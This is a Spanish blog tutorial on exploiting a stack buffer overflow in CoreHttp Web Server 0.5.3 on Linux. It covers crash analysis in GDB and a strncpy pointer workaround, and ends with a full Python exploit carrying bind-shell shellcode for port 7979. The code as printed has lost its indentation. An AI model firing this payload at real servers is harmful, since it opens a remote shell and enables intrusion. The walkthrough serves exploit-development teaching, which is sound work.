martes, 8 de mayo de 2012

[Exploit] - CoreHttp Web Server 0.5.3 Stack BOF (Linux)

Después de la explicación realizada sobre la vulnerabilidad Stack Buffer Overflow y el [Exploit] - MyMp3 Player 3.0 Stack Buffer Overflow, los cuales fueron desarrollados sobre el Sistema Operativo Windows, he decidido ampliar un poco más el campo de ataque realizando un ejemplo práctico sobre un sistema Linux.

El software elegido para el ejemplo práctico es CoreHttp Web Server en su versión 0.5.3, el cual se puede descargar desde el siguiente enlace: [Zona Descarga].

La versión indicada dispone de Stack Buffer Overflow “un tanto peculiar” al realizar peticiones malformadas sobre el mismo. [Advisory]

¿Dónde se encuentra el Buffer Overflow?

El BOF se encuentra en el fichero “http.c” en la línea 32:

image

Anotaciones:

  1. Se está haciendo uso de la función sscanf() sin ninguna comprobación por parte del programador.
  2. Se almacenan datos en la variable local REQ (de 256 bytes y encargada de guardar el método http utilizado).
  3. Se almacenan datos en la variable local URL (de 256 bytes y encargada de guardar la dirección/url solicitada).

Por lo que, si al realizar una petición contra el servidor enviamos un método o url que supere los 256 bytes se habrá conseguido sobrescribir la PILA. Se va a realizamos un ejemplo para identificar que realmente es así.

Ejecutamos el servidor web y “attacheamos” con GDB el proceso creado:

image

Para realizar la petición contra el servidor utilizaremos este pequeño código escrito en python, el cual iremos modificando hasta conseguir nuestro exploit.

import os 
import sys
import socket

def main():

host = sys.argv[1]
port = int(sys.argv[2])
print "-->> Send to: " + host + ":" + str(port)
payload = "M "
payload += "Aa0Aa1Aa2Aa…..9Bh0Bh1Bh2B" # ./pattern_create 1000
payload += "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
s.close()

if __name__ == "__main__":
main()
sys.exit(0)

Si lanzamos la petición podremos observar cómo GDB nos indica que el servidor ha sufrido un “Segmentation fault” en la dirección de memoria “0x0804acfe”.

image

Por lo que, repetimos el proceso anterior aplicando un breakpoint en la dirección indicada. (para que el breakpoint salte deberemos lanzar de nuevo una petición contra el servidor)

image

Tal y como se puede observar en la captura anterior, el servidor falla al intentar leer la dirección “0x31724130”, la cual pertenece a la posición 512 del cadena insertada.

image

¿Pero qué dirección debemos poner si aún no hemos llegado al RET?

En este momento nos encontramos con un pequeño inconveniente, existe la función “strncpy()” justo después de nuestra función vulnerable que está utilizando parte del código que hemos sobrescrito, tal y como podemos observar en la siguiente imagen.

image

Nuestro objetivo es dejar la función “strncpy” tal y como si no estuviera ocurriendo el overflow, y así conseguiremos “bypasear” el fallo.

La función “strncpy” es utilizada para copiar datos de un buffer a otro, asignando el tamaño que se desea copiar.

image

Identificamos cada uno parámetros en nuestro código:

image

Si os fijáis, la única dirección que es modificable se trata del “parámetro uno” (puntero de destino), y que a su vez es la dirección que nos ha dado el “Segmentation fault” anteriormente, por lo que en la posición 512 de nuestro exploit podremos modificar la dirección destino de la función “strncpy”.

Se me ocurren dos métodos:

  1. Modificamos la variable por una cualquiera de nuestra PILA y vamos reconstruyendo poco a poco la función. (tarea más tediosa)
  2. Realizamos una petición contra el servidor sin provocar la sobreescritura y guardamos la dirección original del puntero. (tarea más sencilla)

*Para agilizar un poco la entrada, utilizaremos el segundo método.

Enviamos una petición al servidor sin provocar la sobreescritura de las variables locales, detenemos la aplicación en la dirección anterior “0x804acfe” y visualizamos el registro EDX, el cual contiene parte de la dirección de memoria que apunta a la variable destino.

image

Con esto ya disponemos de la dirección necesaria “0x8053eb0”, para poder “bypasear” la función y proseguir con el exploit.

...
payload = "M "
payload += "\x90" * 512 # Buffer inicial
payload += "\xb0\x3e\x05\x08" # 0x8053eb0 -->> PAR(1) - STRNCPY()
payload += "Aa0Aa1Aa2Aa3….9Bh0Bh1Bh2B" # ./pattern_create 512
payload += "\r\n\r\n"
...

Ejecutamos el servidor, “attacheamos” el proceso, lanzamos el exploit y visualizamos el resultado que nos devuelve GDB.

image

GDB nos indica que algo ha fallado y se ha producido un “Segmentation fault” en la dirección “0x41326241”, esto nos indica que posiblemente la aplicación haya realizado un salto a dicha dirección y esta no exista. ¡Aquí tenemos nuestra dirección de retorno!

Buscamos la cadena mediante la herramienta pattern_offset.rb y extraemos la posición exacta para aplicarla a nuestro exploit.

image

Ahora debemos añadir la dirección de retorno 36 bytes después de la dirección utilizada para el primer parámetro de la función “strncpy”.

...
payload = "M "
payload += "\x90" * 512 # Buffer inicial
payload += "\xb0\x3e\x05\x08" # 0x8053eb0 -->> PARAM(1) - STRNCPY()
payload += "\x42" * 36
payload += "\x04\xeb\xff\xbf" # --->> RET (0xbfffeb04)
payload += "\r\n\r\n"
...

La dirección de retorno escogida “0xbfffeb04”, es debido a que si visualizamos la PILA una vez sobrescrito las dos variables locales, esta, está situada dentro de los 512 NOPs iniciales de nuestro exploit, que será donde irá alojada nuestra Shellcode.

image

En este momento únicamente nos quedaría añadir nuestra Shellcode sustituyendo parte de los 512 NOPs que hemos introducido.

Utilizaré una Shellcode de un exploit ya existente, la cual pone a la escucha en el puerto 7979 una shell y ha sido generada con las siguientes características:

# linux_ia32_bind - LPORT=7979 Size=243 Encoder=PexAlphaNum 
# filt: 0x00 0x0a 0x0d 0x2b 0x25 0x3f 0x20 0x2f 0x09 (0x61-0x7a)
# Size: 243 bytes
Shellcode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x41\x53\x4b\x4d\x43\x35"
"\x43\x44\x43\x35\x4c\x56\x44\x50\x4c\x56\x48\x46\x4a\x45\x49\x39"
"\x49\x48\x41\x4e\x4d\x4c\x42\x38\x48\x49\x43\x44\x44\x35\x48\x36"
"\x4a\x56\x4f\x31\x4b\x52\x48\x46\x43\x45\x49\x48\x41\x4e\x4c\x36"
"\x48\x56\x4a\x35\x42\x55\x41\x55\x48\x55\x49\x48\x41\x4e\x4d\x4c"
"\x42\x48\x42\x4b\x48\x46\x41\x4d\x43\x4e\x4d\x4c\x42\x38\x44\x55"
"\x44\x45\x48\x45\x43\x34\x49\x58\x41\x4e\x42\x4b\x48\x56\x4d\x4c"
"\x42\x38\x43\x39\x4c\x36\x44\x30\x49\x55\x42\x4b\x4f\x53\x4d\x4c"
"\x42\x48\x49\x34\x49\x37\x49\x4f\x42\x4b\x4b\x30\x44\x55\x4a\x56"
"\x4f\x32\x4f\x52\x43\x57\x4a\x46\x4a\x36\x4f\x42\x44\x56\x49\x46"
"\x50\x46\x49\x48\x43\x4e\x44\x55\x43\x45\x49\x38\x41\x4e\x4d\x4c"
"\x42\x58\x5a")

Si añadimos a nuestro exploit la Shellcode nos debería quedar un código similar al siguiente:

...
payload = "M "
payload += "\x90" * 269 # Buffer inicial
payload += Shellcode # ShellCode - 243 bytes
payload += "\xb0\x3e\x05\x08" # 0x8053eb0 -->> PAR(1) - STRNCPY()
payload += "\x42" * 36
payload += "\x04\xeb\xff\xbf" # ------> RET BUENO
payload += "\r\n\r\n"
...

Ejecutamos nuestro servidor web, lanzamos el exploit y.. ¡LISTO!, hemos conseguido que nuestro servidor vulnerable nos devuelva una Shell en el puerto 7979.

image

Nos conectamos desde otra máquina para verificar que todo funciona correctamente:

image

Os dejo el exploit final utilizado: [Descarga]

'''
Title: CoreHttp Web Server 0.5.3 Stack BOF
Author: Daniel Romero Perez (@daniel_rome)
Tested on: Linux 3.2.6 (without ASLR and compile with gcc-3.4)
Blog: unlearningsecurity.blogspot.com
Advisor: http://census-labs.com/news/2009/12/02/corehttp-web-server/
'''
import os
import sys
import socket

def main():

host = sys.argv[1]
port = int(sys.argv[2])
print "-->> Send to: " + host + ":" + str(port)

# Shellcode (linux_ia32_bind - LPORT=7979 Size=243 Encoder=PexAlphaNum) 243 bytes
Shellcode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x41\x53\x4b\x4d\x43\x35"
"\x43\x44\x43\x35\x4c\x56\x44\x50\x4c\x56\x48\x46\x4a\x45\x49\x39"
"\x49\x48\x41\x4e\x4d\x4c\x42\x38\x48\x49\x43\x44\x44\x35\x48\x36"
"\x4a\x56\x4f\x31\x4b\x52\x48\x46\x43\x45\x49\x48\x41\x4e\x4c\x36"
"\x48\x56\x4a\x35\x42\x55\x41\x55\x48\x55\x49\x48\x41\x4e\x4d\x4c"
"\x42\x48\x42\x4b\x48\x46\x41\x4d\x43\x4e\x4d\x4c\x42\x38\x44\x55"
"\x44\x45\x48\x45\x43\x34\x49\x58\x41\x4e\x42\x4b\x48\x56\x4d\x4c"
"\x42\x38\x43\x39\x4c\x36\x44\x30\x49\x55\x42\x4b\x4f\x53\x4d\x4c"
"\x42\x48\x49\x34\x49\x37\x49\x4f\x42\x4b\x4b\x30\x44\x55\x4a\x56"
"\x4f\x32\x4f\x52\x43\x57\x4a\x46\x4a\x36\x4f\x42\x44\x56\x49\x46"
"\x50\x46\x49\x48\x43\x4e\x44\x55\x43\x45\x49\x38\x41\x4e\x4d\x4c"
"\x42\x58\x5a")

payload = "M "
payload += "\x90" * 269
payload += Shellcode # 243 bytes
payload += "\xb0\x3e\x05\x08" # 0x8053eb0 -->> PARAMETER(1) - STRNCPY()
payload += "\x42" * 36
payload += "\x04\xeb\xff\xbf" # ---->> RET
payload += "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
s.close()

if __name__ == "__main__":
main()
sys.exit(0)

NOTA: Debido a que todavía no se ha visto nada de como eludir protecciones contra explotación en el sistema operativo Linux, se ha utilizado la versión 3.4 de GCC para compilar la aplicación (la cual no dispone de protecciones como Stack Smashing Protection) y se ha desactivado el ASLR (randomize_va_space = 0).

Un Saludo!!

Referencias:

1- http://census-labs.com/news/2009/12/02/corehttp-web-server/
2- http://www.exploit-db.com/exploit